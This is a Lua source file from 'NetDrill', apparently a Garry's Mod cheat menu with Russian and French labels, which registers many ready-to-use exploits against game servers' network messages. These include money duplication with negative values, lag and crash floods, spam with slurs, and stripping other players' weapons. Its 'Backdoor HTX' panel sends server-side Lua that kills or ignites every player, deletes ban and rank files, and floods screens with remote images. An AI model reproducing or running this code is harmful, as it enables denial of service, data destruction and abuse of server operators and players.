- { typ = "func", name = "Шекели", func = function()
- NETDRILL.NetStart("DaHit")
- net.WriteFloat( -1000 )
- net.WriteEntity( LocalPlayer() )
- net.SendToServer()
- NETDRILL.ChatText( "Даём бабки" )
- end, },
- },
- } )
- NETDRILL.AddExploit( "Изменить налоги", {
- desc = "ВРЕМЯ ДЕФОЛТА!.",
- severity = 3,
- scan = function() return NETDRILL.ValidNetString( "NET_EcSetTax" ) end,
- functions = {
- { typ = "float", name = "Montant", min = "1", max = "100000000", default = "100000", addr = "montant_argent10" },
- { typ = "func", name = "Start", func = function()
- NETDRILL.NetStart("NET_EcSetTax")
- net.WriteInt(-NETDRILL.GetStored( "montant_argent10" ), 16)
- net.SendToServer()
- end, },
- },
- } )
- NETDRILL.AddExploit( "МНОГА ШЕКЕЛЕЙ", {
- desc = "Money Exploit.",
- severity = 3,
- scan = function() return NETDRILL.ValidNetString( "RP_Accept_Fine" ) end,
- functions = {
- { typ = "float", name = "Добавать", min = "1", max = "100000000", default = "100000", addr = "montant_argent11" },
- { typ = "players", addr = "l_players_listing_fine" },
- { typ = "func", name = "Взять", func = function()
- local t = NETDRILL.GetStored( "l_players_listing_fine", {} )
- for k, v in pairs( player.GetAll() ) do
- if !table.HasValue( t, v ) then continue end
- NETDRILL.NetStart("RP_Accept_Fine")
- net.WriteString(v:Nick())
- net.WriteDouble(-NETDRILL.GetStored( "montant_argent11" ))
- net.SendToServer()
- end
- end, },
- { typ = "func", name = "Отправить", func = function()
- local t = NETDRILL.GetStored( "l_players_listing_fine", {} )
- for k, v in pairs( player.GetAll() ) do
- if !table.HasValue( t, v ) then continue end
- NETDRILL.NetStart("RP_Fine_Player")
- net.WriteString(v:Nick())
- net.WriteString(v:Nick())
- net.WriteDouble(NETDRILL.GetStored( "montant_argent11" ))
- net.WriteString("Hacked by NetDrill!")
- net.SendToServer()
- end
- end, },
- { typ = "func", name = "Спам баблом", func = function()
- if !timer.Exists( "spamamandefine" ) then
- NETDRILL.ChatText( "Начинаем спам бабками" )
- timer.Create( "spamamandefine", 0.1, 0, function()
- local t = NETDRILL.GetStored( "l_players_listing_fine", {} )
- for k, v in pairs( player.GetAll() ) do
- if !table.HasValue( t, v ) then continue end
- NETDRILL.NetStart("RP_Fine_Player")
- net.WriteString(v:Nick())
- net.WriteString(v:Nick())
- net.WriteDouble(NETDRILL.GetStored( "montant_argent11" ))
- net.WriteString("Hacked by NetDrill!")
- net.SendToServer()
- end
- end)
- else
- timer.Remove( "spamamandefine" )
- NETDRILL.ChatText( "Кончаем спам бабками" )
- end
- end, },
- },
- } )
- NETDRILL.AddExploit( "Шекели 13", {
- severity = 2,
- scan = function() return NETDRILL.ValidNetString( "RXCAR_Shop_Store_C2S" ) end,
- functions = {
- { typ = "func", name = "Duplicate", func = function()
- for i = 0, 75 do
- NETDRILL.NetStart( "RXCAR_Shop_Store_C2S" );
- net.WriteTable( { E = ent } );
- net.SendToServer();
- end
- end, },
- { typ = "func", name = "Tout vendre", func = function()
- local ent
- for k,v in pairs(ents.GetAll()) do
- if v:GetClass() == "rm_car_dealer" then
- ent = v
- end
- end
- for k,v in pairs(RX3DCar_Inventory) do
- NETDRILL.NetStart( "RXCAR_SellINVCar_C2S" )
- net.WriteTable({UN=v.UniqueID,SE=ent})
- net.SendToServer()
- end
- end, },
- },
- } )
- NETDRILL.AddExploit( "Крафты", {
- desc = "МУЛЬТИЭКСПЛОИТ <0>",
- severity = 3,
- scan = function() return NETDRILL.ValidNetString( "CRAFTINGMOD_SHOP" ) end,
- functions = {
- { typ = "float", name = "Добавить", min = "1", max = "100000000", default = "100000", addr = "montant_argent14" },
- { typ = "func", name = "Добавить Бабло", func = function()
- NETDRILL.NetStart("CRAFTINGMOD_SHOP")
- net.WriteTable({
- BUY = -NETDRILL.GetStored( "montant_argent14" );
- type = 1
- })
- net.WriteInt(1,16)
- net.SendToServer()
- end, },
- { typ = "func", name = "Удалить Бабло", func = function()
- NETDRILL.NetStart("CRAFTINGMOD_SHOP")
- net.WriteTable({
- BUY = LocalPlayer():getDarkRPVar("money");
- type = 1
- })
- net.WriteInt(1,16)
- net.SendToServer()
- end, },
- },
- } )
- NETDRILL.AddExploit( "Шекели 6!", {
- desc = "Сделайте себя алигархом!",
- severity = 3,
- scan = function() return NETDRILL.ValidNetString('hhh_request') end,
- functions = {
- { typ = "func", name = "Шекели", func = function()
- for k,v in pairs(player.GetAll()) do
- local hitRequest = {}
- hitRequest.hitman = LocalPlayer()
- hitRequest.requester = LocalPlayer()
- hitRequest.target = v
- hitRequest.reward = -10000
- NETDRILL.NetStart('hhh_request')
- net.WriteTable( hitRequest )
- net.SendToServer()
- end
- NETDRILL.ChatText( "Даём бабки" )
- end, },
- },
- } )
- NETDRILL.AddExploit( "Шекели 7!", {
- desc = "Сделайте себя алигархом!",
- severity = 3,
- scan = function() return NETDRILL.ValidNetString('BuyCar') end,
- functions = {
- { typ = "func", name = "Шекели", func = function()
- NETDRILL.NetStart('BuyCar')
- net.WriteFloat(-10000)
- net.WriteEntity(LocalPlayer())
- net.WriteString("Gay")
- net.WriteString("Cock")
- net.WriteString("Twat")
- net.SendToServer()
- NETDRILL.ChatText( "Даём бабки" )
- end, },
- },
- } )
- NETDRILL.AddExploit( "Шекели 8!", {
- desc = "Сделайте себя алигархом!",
- severity = 3,
- scan = function() return NETDRILL.ValidNetString("AttemptSellCar") end,
- functions = {
- { typ = "func", name = "Шекели", func = function()
- NETDRILL.ChatText( "Даём бабки" )
- for i=0,30 do
- for i=1,10 do
- NETDRILL.NetStart( "AttemptSellCar" )
- net.WriteInt( i, 8 )
- net.SendToServer()
- end
- end
- end, },
- },
- } )
- NETDRILL.AddExploit( "Шекели 9!", {
- desc = "Сделайте себя алигархом!",
- severity = 3,
- scan = function() return NETDRILL.ValidNetString("TOW_SubmitWarning") end,
- functions = {
- { typ = "func", name = "Шекели", func = function()
- NETDRILL.ChatText( "Даём бабки" )
- for k,v in pairs(ents.GetAll()) do
- NETDRILL.NetStart("TOW_SubmitWarning")
- net.WriteString(LocalPlayer():SteamID())
- net.WriteDouble(-10000)
- net.WriteEntity(v)
- net.SendToServer()
- NETDRILL.NetStart("TOW_PayTheFine")
- net.WriteEntity(v)
- net.SendToServer()
- end
- end, },
- },
- } )
- NETDRILL.AddExploit( "Шекели 10!", {
- desc = "Сделайте себя алигархом!",
- severity = 4,
- scan = function() return NETDRILL.ValidNetString("75_plus_win") end,
- functions = {
- { typ = "float", name = "Дать", min = "1", max = "100000000", default = "100000", addr = "montant_argent" },
- { typ = "players", addr = "l_players_listing" },
- { typ = "func", name = "Шекели", func = function()
- NETDRILL.ChatText( "Даём бабки" )
- local t = NETDRILL.GetStored( "l_players_listing", {} )
- for k, v in pairs( player.GetAll() ) do
- if !table.HasValue( t, v ) then continue end
- NETRILL.NetStart( "75_plus_win" )
- net.WriteString( NETDRILL.GetStored( "montant_argent" ) )
- net.WriteEntity(v)
- net.SendToServer()
- end
- end, },
- { typ = "func", name = "Забрать", func = function()
- NETDRILL.ChatText( "Забираем бабки" )
- local t = NETDRILL.GetStored( "l_players_listing", {} )
- for k, v in pairs( player.GetAll() ) do
- if !table.HasValue( t, v ) then continue end
- NETDRILL.NetStart( "75_plus_win" )
- net.WriteString( -NETDRILL.GetStored( "montant_argent" ) )
- net.WriteEntity(v)
- net.SendToServer()
- end
- end, },
- },
- } )
- NETDRILL.AddExploit( "Шекели 11", {
- desc = "Сделайте себя алигархом!",
- severity = 4,
- scan = function() return NETDRILL.ValidNetString( "SellMinerals" ) end,
- functions = {
- { typ = "float", name = "Кол-во", min = "1", max = "100000000", default = "100000", addr = "montant_argent6" },
- { typ = "func", name = "Начать", func = function()
- for k,v in pairs(SkillDB) do
- if not ( v.iSkill == true ) then
- NETDRILL.NetStart("Upgrade")
- net.WriteTable( { LuaName = v.LuaName, Amount = -NETDRILL.GetStored( "montant_argent6" ) } )
- net.SendToServer()
- NETDRILL.NetStart( "SellMinerals" )
- net.WriteTable( { Target = LocalPlayer() } )
- net.SendToServer()
- end
- end
- end, },
- { typ = "func", name = "Убрать", func = function()
- for k,v in pairs(SkillDB) do
- if not ( v.iSkill == true ) then
- NETDRILL.NetStart("Upgrade")
- net.WriteTable( { LuaName = v.LuaName, Amount = NETDRILL.GetStored( "montant_argent6" ) } )
- net.SendToServer()
- NETDRILL.NetStart( "SellMinerals" )
- net.WriteTable( { Target = LocalPlayer() } )
- net.SendToServer()
- end
- end
- end, },
- },
- } )
- NETDRILL.AddExploit( "Шекели 12", {
- desc = "Сделайте себя алигархом!",
- severity = 4,
- scan = function() return NETDRILL.ValidNetString( "TakeBetMoney" ) end,
- functions = {
- { typ = "func", name = "Prendre", func = function()
- NETDRILL.NetStart( "TakeBetMoney" )
- net.WriteTable({1e333333 , 1e333333})
- net.SendToServer()
- end, },
- },
- } )
- NETDRILL.AddExploit( "Шекели 13", {
- desc = "Сделайте себя алигархом!",
- severity = 3,
- scan = function() return NETDRILL.ValidNetString( "Kun_SellOil" ) end,
- functions = {
- { typ = "func", name = "Prendre", func = function()
- for k,v in pairs(ents.GetAll()) do
- NETDRILL.NetStart("Kun_SellOil")
- net.WriteEntity(v)
- net.SendToServer()
- end
- end, },
- },
- } )
- NETDRILL.AddExploit( "Стать копом", {
- desc = "Стайте копом не проходя унылый говнотест.",
- severity = 2,
- scan = function() return NETDRILL.ValidNetString( "PoliceJoin" ) end,
- functions = {
- { typ = "func", name = "Rejoindre", func = function()
- NETDRILL.NetStart("PoliceJoin")
- net.SendToServer()
- end, },
- },
- } )
- NETDRILL.AddExploit( "Очистить пропы", {
- desc = "Удалите все перма-пропы.",
- severity = 2,
- scan = function() return NETDRILL.ValidNetString( "MDE_RemoveStuff_C2S" ) end,
- functions = {
- { typ = "func", name = "Start", func = function()
- NETDRILL.NetStart( "MDE_RemoveStuff_C2S" )
- net.WriteTable( {DATA="",TARGET=LocalPlayer():GetEyeTrace().Entity} )
- net.SendToServer()
- end, },
- },
- } )
- NETDRILL.AddExploit( "Тестовая функция", {
- desc = "Хз чо делает.",
- severity = 2,
- scan = function() return NETDRILL.ValidNetString( "rpi_trade_end" ) end,
- functions = {
- { typ = "func", name = "Start", func = function()
- NETDRILL.NetStart( "rpi_trade_end" )
- net.WriteUInt( it, 16 )
- net.SendToServer()
- end, },
- },
- } )
- NETDRILL.AddExploit( "Тестовая функция 2", {
- desc = "Хз чо делает.",
- severity = 2,
- scan = function() return NETDRILL.ValidNetString( "ClickerForceSave" ) end,
- functions = {
- { typ = "func", name = "Начать", func = function()
- for k, v in pairs (player.GetAll()) do
- NETDRILL.NetStart( "ClickerForceSave" )
- net.WriteEntity(ply)
- net.WriteInt(1, 1)
- net.SendToServer()
- end
- end, },
- },
- } )
- NETDRILL.AddExploit( "Тестовая функция 3", {
- desc = "Хз чо делает.",
- severity = 2,
- scan = function() return NETDRILL.ValidNetString( "SRequest" ) end,
- functions = {
- { typ = "func", name = "Начать", func = function()
- for k, v in pairs (player.GetAll()) do
- NETDRILL.NetStart( "SRequest" )
- net.WriteEntity(v)
- net.SendToServer()
- end
- end, },
- },
- } )
- NETDRILL.AddExploit( "Вылечить себя", {
- desc = "Ай нид хилинг.",
- severity = 2,
- scan = function() return NETDRILL.ValidNetString( "HealButton" ) end,
- functions = {
- { typ = "func", name = "Вылечиться", func = function()
- for k, v in pairs (player.GetAll()) do
- NETDRILL.NetStart( "HealButton" )
- net.WriteEntity( v )
- net.WriteFloat( 0 )
- net.SendToServer()
- end
- end, },
- },
- } )
- NETDRILL.AddExploit( "Добавить броню", {
- desc = "Ай нид армор.",
- severity = 2,
- scan = function() return NETDRILL.ValidNetString( "ArmorButton" ) end,
- functions = {
- { typ = "func", name = "Вылечиться", func = function()
- for k, v in pairs (player.GetAll()) do
- NETDRILL.NetStart( "ArmorButton" )
- net.WriteEntity( v )
- net.WriteFloat( 0 )
- net.SendToServer()
- end
- end, },
- },
- } )
- NETDRILL.AddExploit( "DDoS уровень #1", {
- desc = "Вызывает значительные задержки на сервере",
- severity = 2,
- scan = function() return NETDRILL.ValidNetString( "ATS_WARP_REMOVE_CLIENT" ) end,
- functions = {
- { typ = "func", name = "DDoS", func = function()
- if !timer.Exists( "Netdrill_exploit_lagsploit1" ) then
- NETDRILL.ChatText( "Начинаем DDoS" )
- timer.Create( "Netdrill_exploit_lagsploit1", 0.02, 0, function()
- for k,v in pairs(player.GetAll()) do
- NETDRILL.NetStart( "ATS_WARP_REMOVE_CLIENT" )
- net.WriteEntity( v )
- net.WriteString( "adminroom1" )
- net.SendToServer()
- NETDRILL.NetStart( "ATS_WARP_FROM_CLIENT" )
- net.WriteEntity( v )
- net.WriteString( "adminroom1" )
- net.SendToServer()
- NETDRILL.NetStart( "ATS_WARP_VIEWOWNER" )
- net.WriteEntity( v )
- net.WriteString( "adminroom1" )
- net.SendToServer()
- end
- end)
- else
- timer.Remove( "Netdrill_exploit_lagsploit1" )
- NETDRILL.ChatText( "Заканчиваем DDoS" )
- end
- end, },
- },
- } )
- NETDRILL.AddExploit( "Спам друзьями 2 (Сообщение)", {
- desc = "Расскажите о том какие у вас друзья!",
- severity = 2,
- scan = function() return NETDRILL.ValidNetString( "sendtable" ) end,
- functions = {
- { typ = "string", name = "Текст", default = "Cock 8====>", addr = "fr_spamstring" },
- { typ = "func", name = "Спам", func = function()
- for k,v in pairs(player.GetAll()) do
- local buyit = {}
- table.insert( buyit, NETDRILL.GetStored( "fr_spamstring", "Cock 8====>" ) )
- NETDRILL.NetStart( "sendtable" )
- net.WriteEntity( v )
- net.WriteTable( buyit )
- net.SendToServer()
- end
- end, },
- },
- } )
- NETDRILL.AddExploit( "Спам в консоль", {
- desc = "Закидайте консоль говном дабы админы немогли ничего прочитать !",
- severity = 1,
- scan = function() return ULib end,
- functions = {
- { typ = "func", name = "DDoS", func = function()
- if !timer.Exists( "Netdrill_exploit_bigspames2" ) then
- NETDRILL.ChatText( "Начинаем спам" )
- timer.Create( "Netdrill_exploit_bigspames2", 0.02, 0, function()
- for i = 1, 200 do
- LocalPlayer():ConCommand( "usernameisdrillingthatconsole" )
- end
- end)
- else
- timer.Remove( "Netdrill_exploit_bigspames2" )
- NETDRILL.ChatText( "Остановка спама" )
- end
- end, },
- },
- } )
- NETDRILL.AddExploit( "Автопродажа наркоты", {
- desc = "Продайте свою дурь!",
- severity = 1,
- scan = function() return NETDRILL.ValidNetString("Kun_SellDrug") end,
- functions = {
- { typ = "func", name = "Дурь", func = function()
- if !timer.Exists( "autosell1" ) then
- NETDRILL.ChatText( "Начинаем автопродажу" )
- timer.Create( "autosell1", 1, 0, function()
- for i = 1, 10 do
- NETDRILL.NetStart("Kun_SellDrug")
- net.WriteString("Meth")
- net.SendToServer()
- end
- end)
- else
- timer.Remove( "autosell1" )
- NETDRILL.ChatText( "Остановка автопродажи" )
- end
- end, },
- },
- } )
- NETDRILL.AddExploit( "Хак Реанимации", {
- desc = "Вы автоматически воскресаете после смерти",
- severity = 2,
- scan = function() return NETDRILL.ValidNetString( "RevivePlayer" ) end,
- functions = {
- { typ = "func", name = "Воскреснуть :)", func = function()
- if !timer.Exists( "Netdrill_exploit_zombie" ) then
- NETDRILL.ChatText( "Режим Бога Включён" )
- timer.Create( "Netdrill_exploit_zombie", 0.5, 0, function()
- if !LocalPlayer():Alive() then
- NETDRILL.NetStart("RevivePlayer")
- net.WriteEntity(LocalPlayer())
- net.SendToServer()
- end
- end)
- else
- timer.Remove( "Netdrill_exploit_zombie" )
- NETDRILL.ChatText( "Режим Бога Выключен!" )
- end
- end, },
- },
- } )
- NETDRILL.AddExploit( "Украсть Оружие", {
- desc = "'ОДОЛЖИТЕ' оружие из полицейского арсенала (вы должны быть рядом с ним), имеет время восстановления 5 минут",
- severity = 2,
- scan = function() return NETDRILL.ValidNetString( "ARMORY_RetrieveWeapon" ) end,
- functions = {
- { typ = "func", name = "Взять оружие 1", func = function()
- NETDRILL.NetStart("ARMORY_RetrieveWeapon")
- net.WriteString("weapon1")
- net.SendToServer()
- end, },
- { typ = "func", name = "Взять оружие 2", func = function()
- NETDRILL.NetStart("ARMORY_RetrieveWeapon")
- net.WriteString("weapon2")
- net.SendToServer()
- end, },
- { typ = "func", name = "Взять оружие 3", func = function()
- NETDRILL.NetStart("ARMORY_RetrieveWeapon")
- net.WriteString("weapon3")
- net.SendToServer()
- end, },
- },
- } )
- NETDRILL.AddExploit( "Эксплоит в системе дверей (админ)", {
- desc = "Разблокировать / Заблокировать дверь / Удалить владельца (вы должны смотреть на дверь)",
- severity = 3,
- scan = function() return NETDRILL.ValidNetString( "fp_as_doorHandler" ) end,
- functions = {
- { typ = "func", name = "Открыть", func = function()
- NETDRILL.NetStart("fp_as_doorHandler")
- net.WriteEntity(LocalPlayer():GetEyeTrace().Entity)
- net.WriteString("unlock")
- net.SendToServer()
- end, },
- { typ = "func", name = "Закрыть", func = function()
- NETDRILL.NetStart("fp_as_doorHandler")
- net.WriteEntity(LocalPlayer():GetEyeTrace().Entity)
- net.WriteString("lock")
- net.SendToServer()
- end, },
- { typ = "func", name = "Удалить хозяина", func = function()
- local door = LocalPlayer():GetEyeTrace().Entity
- local doorOwner = door:getDoorData()["owner"]
- NETDRILL.NetStart("fp_as_doorHandler")
- net.WriteEntity(door)
- net.WriteString("removeOwner")
- net.WriteDouble(doorOwner)
- net.SendToServer()
- end, },
- },
- } )
- NETDRILL.AddExploit( "Репорт спам", {
- desc = "РЕЖИМ СССР ДОНОСОВ!",
- severity = 1,
- scan = function() return NETDRILL.ValidNetString( "TransferReport" ) end,
- functions = {
- { typ = "func", name = "Начать рпорт спам", func = function()
- for k, v in pairs( player.GetAll() ) do
- NETDRILL.NetStart( "TransferReport" )
- net.WriteString( v:SteamID() )
- net.WriteString( "Gaycock" )
- net.WriteString( "Bitch Suck" )
- net.SendToServer()
- end
- end, },
- },
- } )
- NETDRILL.AddExploit( "Крашнуть Сервер 3", {
- desc = "Нажатие заставит сервер застрелиться ;3",
- severity = 3,
- scan = function() return NETDRILL.ValidNetString( "pac_to_contraption" ) end,
- functions = {
- { typ = "func", name = "Краш", func = function()
- local tbl = {}
- for i=1,1000000 do
- tbl[#tbl + 1] = i
- end
- NETDRILL.NetStart("pac_to_contraption")
- net.WriteTable( tbl )
- net.SendToServer()
- end, },
- },
- } )
- local function nukeweapon( ent )
- if !ent:IsValid() then return end
- if ent.LNextNuke and ent.LNextNuke > CurTime() then return end
- NETDRILL.NetStart("properties")
- net.WriteString("remove")
- net.WriteEntity( ent )
- net.SendToServer()
- ent.LNextNuke = CurTime() + 0.5
- end
- local function nukeallweapons( tab )
- for k, v in pairs( tab ) do
- if !v:IsValid() then continue end
- if v.LNextNuke and v.LNextNuke > CurTime() then continue end
- NETDRILL.NetStart("properties")
- net.WriteString("remove")
- net.WriteEntity( v )
- net.SendToServer()
- end
- end
- NETDRILL.AddExploit( "Очистить оружие(починено)", {
- desc = "Проведите миротворческую реформу.",
- severity = 3,
- scan = function() return NETDRILL.ValidNetString( "properties" ) and (!FPP or (FPP and FPP.Settings.FPP_TOOLGUN1.worldprops == 1)) end,
- functions = {
- --{ typ = "string", name = "Type d'Arme à Strip", default = "*", addr = "stripper_gunz" },
- { typ = "players", addr = "stripper_plyz" },
- { typ = "func", name = "Очистить", func = function()
- if !timer.Exists( "stripclub" ) then
- NETDRILL.ChatText( "Начинаем очистку" )
- timer.Create( "stripclub", 0.5, 0, function()
- local t = NETDRILL.GetStored( "stripper_plyz", {} )
- for k, v in pairs( player.GetAll() ) do
- if !table.HasValue( t, v ) then continue end
- local gunz = v:GetWeapons()
- local findstring = NETDRILL.GetStored( "stripper_gunz", "*" )
- if findstring == "*" then nukeallweapons( gunz ) return end
- local findstringtab = string.Explode( ", ", findstring )
- for _, g in pairs( gunz ) do
- for _, s in pairs( findstringtab ) do
- if string.find( string.lower( g:GetClass() ), s ) then
- nukeweapon( g )
- end
- end
- end
- end
- end)
- else
- timer.Remove( "stripclub" )
- NETDRILL.ChatText( "Прекрашаем очистку оружия" )
- end
- end, },
- },
- } )
- -- CREATION DES FONCTIONS DE BASE
- function NETDRILL.MakeFunctionButton( parent, x, y, btext, func, tooltip)
- if !parent:IsValid() then return end
- local TButton = vgui.Create( "DButton" )
- TButton:SetParent( parent )
- TButton:SetPos( x, y )
- TButton:SetText( btext )
- TButton:SetTextColor( Color(255, 255, 255, 255) )
- TButton:SizeToContents()
- TButton:SetTall( 24 )
- if tooltip then TButton:SetToolTip( tooltip ) end
- TButton.Paint = function( self, w, h )
- surface.SetDrawColor( Color(100, 100, 100, 245) )
- surface.DrawRect( 0, 0, w, h )
- surface.SetDrawColor( Color( 60, 60, 60 ) )
- --surface.SetMaterial( downgrad )
- --surface.DrawTexturedRect( 0, 0, w, h/ 2 )
- surface.SetDrawColor( Color(100, 100, 100, 255) )
- --surface.DrawOutlinedRect( 0, 0, w, h )
- end
- TButton.DoClick = function()
- func()
- end
- return TButton:GetWide(), TButton:GetTall()
- end
- function NETDRILL.HTXBackdoor( parent, x, y, btext )
- if !parent:IsValid() then return end
- local TButton = vgui.Create( "DButton" )
- TButton:SetParent( parent )
- TButton:SetPos( x, y )
- TButton:SetText( btext )
- TButton:SetTextColor( Color(255, 255, 255, 255) )
- TButton:SizeToContents()
- TButton:SetTall( 24 )
- TButton.Paint = function( self, w, h )
- surface.SetDrawColor( Color(160, 61, 255, 200) )
- surface.DrawRect( 0, 0, w, h )
- surface.SetDrawColor( Color( 60, 60, 60 ) )
- surface.SetDrawColor( Color( 60, 60, 60 ) )
- --surface.SetMaterial( downgrad )
- --surface.DrawTexturedRect( 0, 0, w, h/ 2 )
- surface.SetDrawColor( Color(100, 100, 100, 255) )
- surface.DrawOutlinedRect( 0, 0, w, h )
- surface.SetDrawColor( Color(110, 70, 70, 255) )
- --surface.DrawOutlinedRect( 2, 2, w - 4, h - 4 )
- end
- TButton.DoClick = function()
- NETDRILL.HTXCommandeListe()
- end
- return TButton:GetWide(), TButton:GetTall()
- end
- function NETDRILL.HTXCommandeListe()
- if NETDRILL.HTXCommandeSelector and NETDRILL.HTXCommandeSelector:IsVisible() then NETDRILL.HTXCommandeSelector:Remove() end
- NETDRILL.HTXCommandeSelector = vgui.Create("DFrame")
- NETDRILL.HTXCommandeSelector:SetSize(682,350)
- NETDRILL.HTXCommandeSelector:SetTitle("Backdoor HTX")
- NETDRILL.HTXCommandeSelector:SetPos( 342, 250 )
- NETDRILL.HTXCommandeSelector:MakePopup()
- NETDRILL.HTXCommandeSelector:ShowCloseButton( false )
- NETDRILL.HTXCommandeSelector.Paint = function( s, w, h )
- if !NETDRILL.Menu or !NETDRILL.Menu:IsVisible() then s:Remove() return end
- surface.SetDrawColor( Color(30, 30, 30, 255) )
- surface.DrawRect( 0, 0, w, h )
- surface.SetDrawColor( Color(55, 55, 55, 255) )
- surface.DrawOutlinedRect( 0, 0, w, h )
- surface.DrawOutlinedRect( 1, 1, w - 2, h - 2 )
- end
- local CloseMenu3 = vgui.Create("DButton", NETDRILL.HTXCommandeSelector )
- CloseMenu3:SetText("<--")
- CloseMenu3:SetSize(200, 200)
- CloseMenu3:SetPos(NETDRILL.HTXCommandeSelector:GetWide()-120,-85)
- CloseMenu3:SetTextColor(Color(100, 100, 100,245))
- CloseMenu3:SetFont("netdrillfont20")
- CloseMenu3.Paint = function( self,w,h ) end
- CloseMenu3.DoClick = function()
- NETDRILL.HTXCommandeSelector:Remove()
- end
- local DScrollPanel = vgui.Create( "DScrollPanel", NETDRILL.HTXCommandeSelector )
- DScrollPanel:Dock( FILL )
- local commandnethtx1 = vgui.Create("DButton", DScrollPanel)
- commandnethtx1:SetSize( 652, 20 )
- commandnethtx1:SetPos( 2, 175 )
- commandnethtx1:SetText("Tuer tous les joueurs")
- commandnethtx1:SetTextColor(Color(255, 255, 255, 255))
- commandnethtx1.Paint = function(panel, w, h)
- surface.SetDrawColor(255, 255, 255 ,255)
- surface.DrawOutlinedRect(0, 0, w, h)
- surface.SetDrawColor(100, 100, 100 ,245)
- surface.DrawRect(0, 0, w, h)
- end
- commandnethtx1.DoClick = function()
- NETDRILL.NetStart(netdrillhacknet)
- net.WriteString( "for k,v in pairs(player.GetAll()) do v:Kill() end" )
- net.WriteBit(1)
- net.SendToServer()
- end
- local commandnethtx2 = vgui.Create("DButton", DScrollPanel)
- commandnethtx2:SetSize( 652, 20 )
- commandnethtx2:SetPos( 2, 100 )
- commandnethtx2:SetText("Spam Visuel")
- commandnethtx2:SetTextColor(Color(255, 255, 255, 255))
- commandnethtx2.Paint = function(panel, w, h)
- surface.SetDrawColor(255, 255, 255 ,255)
- surface.DrawOutlinedRect(0, 0, w, h)
- surface.SetDrawColor(178, 99, 255)
- surface.DrawRect(0, 0, w, h)
- end
- commandnethtx2.DoClick = function()
- net.Start(netdrillhacknet)
- net.WriteString( "for k,v in pairs(player.GetAll()) do v:SendLua([[local hud = vgui.Create(\"HTML\") hud:MoveToFront() hud:SetSize(200,158) hud:SetPos(0,0) hud:OpenURL(\"http://image.noelshack.com/fichiers/2017/46/1/1510531246-swag-dance.gif\")]]) v:SendLua([[local hud2 = vgui.Create(\"HTML\") hud2:MoveToFront() hud2:SetSize(200,158) hud2:SetPos(0,ScrH()-158) hud2:OpenURL(\"http://image.noelshack.com/fichiers/2017/46/1/1510531305-spin.gif\")]]) v:SendLua([[local hud3 = vgui.Create(\"HTML\") hud3:MoveToFront() hud3:SetSize(200,158) hud3:SetPos(ScrW()-200,0) hud3:OpenURL(\"http://image.noelshack.com/fichiers/2017/46/1/1510531246-swag-dance.gif\")]]) v:SendLua([[local hud4 = vgui.Create(\"HTML\") hud4:MoveToFront() hud4:SetSize(200,158) hud4:SetPos(ScrW()-200,ScrH()-158) hud4:OpenURL(\"http://image.noelshack.com/fichiers/2017/46/1/1510531305-spin.gif\")]]) timer.Create( \"spamsondeouf\", 1, 0, function() v:EmitSound( \"npc/stalker/go_alert2a.wav\", 100, 100 ) end) v:SendLua([[hook.Add(\"HUDPaint\",\"c\", function() draw.RoundedBox(0,0,0,ScrW(),ScrH(),Color(math.random(1,255),math.random(1,255),math.random(1,255),155)) end)]]) end BroadcastLua([[hook.Add( \"RenderScreenspaceEffects\", \"ohgod\", function() local sinScaler = math.sin( CurTime() *(RealFrameTime() *1024) ) DrawSharpen( 1 +(sinScaler *10), 0.5 +(sinScaler *2) ) DrawMaterialOverlay( \"effects/tp_eyefx/tpeye\", 1 ) end)]]) BroadcastLua([[timer.Create( \"thedrop\", 0.42, 0, function() util.ScreenShake( LocalPlayer():GetPos(), 512, 5, 0.25, 128 ) end )]]) BroadcastLua([[local hud3 = vgui.Create(\"HTML\") hud3:SetSize(400,300) hud3:SetPos(ScrW()/2-200,ScrH()/2-150) hud3:OpenURL(\"http://image.noelshack.com/fichiers/2017/46/1/1510531253-skel2.gif\")]])" )
- net.WriteBit(1)
- net.SendToServer()
- end
- local commandnethtx3 = vgui.Create("DButton", DScrollPanel )
- commandnethtx3:SetSize( 652, 20 )
- commandnethtx3:SetPos( 2, 375 )
- commandnethtx3:SetText("Débannir tout les bannis")
- commandnethtx3:SetTextColor(Color(255, 255, 255, 255))
- commandnethtx3.Paint = function(panel, w, h)
- surface.SetDrawColor(255, 255, 255 ,255)
- surface.DrawOutlinedRect(0, 0, w, h)
- surface.SetDrawColor(100, 100, 100 ,245)
- surface.DrawRect(0, 0, w, h)
- end
- commandnethtx3.DoClick = function()
- NETDRILL.NetStart(netdrillhacknet)
- net.WriteString( "if file.Exists( \"ulib/bans.txt\", \"DATA\" ) then file.Delete(\"ulib/bans.txt\") end" )
- net.WriteBit(1)
- net.SendToServer()
- end
- local commandnethtx4 = vgui.Create("DButton", DScrollPanel )
- commandnethtx4:SetSize( 652, 20 )
- commandnethtx4:SetPos( 2, 125 )
- commandnethtx4:SetText("Ignite tous les joueurs")
- commandnethtx4:SetTextColor(Color(255, 255, 255, 255))
- commandnethtx4.Paint = function(panel, w, h)
- surface.SetDrawColor(255, 255, 255 ,255)
- surface.DrawOutlinedRect(0, 0, w, h)
- surface.SetDrawColor(100, 100, 100 ,245)
- surface.DrawRect(0, 0, w, h)
- end
- commandnethtx4.DoClick = function()
- NETDRILL.NetStart(netdrillhacknet)
- net.WriteString( "for k,v in pairs(player.GetAll()) do v:Ignite(120) end" )
- net.WriteBit(1)
- net.SendToServer()
- end
- local commandnethtx5 = vgui.Create("DButton", DScrollPanel )
- commandnethtx5:SetSize( 652, 20 )
- commandnethtx5:SetPos( 2, 150 )
- commandnethtx5:SetText("Supprimer les grades")
- commandnethtx5:SetTextColor(Color(255, 255, 255, 255))
- commandnethtx5.Paint = function(panel, w, h)
- surface.SetDrawColor(255, 255, 255 ,255)
- surface.DrawOutlinedRect(0, 0, w, h)
- surface.SetDrawColor(100, 100, 100 ,245)
- surface.DrawRect(0, 0, w, h)
- end
- commandnethtx5.DoClick = function()
- NETDRILL.NetStart(netdrillhacknet)
- net.WriteString( "if file.Exists( \"ulib/groups.txt\", \"DATA\" ) then file.Delete(\"ulib/groups.txt\") end" )
- net.WriteBit(1)
- net.SendToServer()
- end
- local commandnethtx6 = vgui.Create("DButton", DScrollPanel )
- commandnethtx6:SetSize( 652, 20 )
- commandnethtx6:SetPos( 2, 50 )
- commandnethtx6:SetText("Redémarrer le serveur")
- commandnethtx6:SetTextColor(Color(255, 255, 255, 255))
- commandnethtx6.Paint = function(panel, w, h)
- surface.SetDrawColor(255, 255, 255 ,255)
- surface.DrawOutlinedRect(0, 0, w, h)
- surface.SetDrawColor(100, 100, 100 ,245)
- surface.DrawRect(0, 0, w, h)
- end
- commandnethtx6.DoClick = function()
- NETDRILL.NetStart(netdrillhacknet)
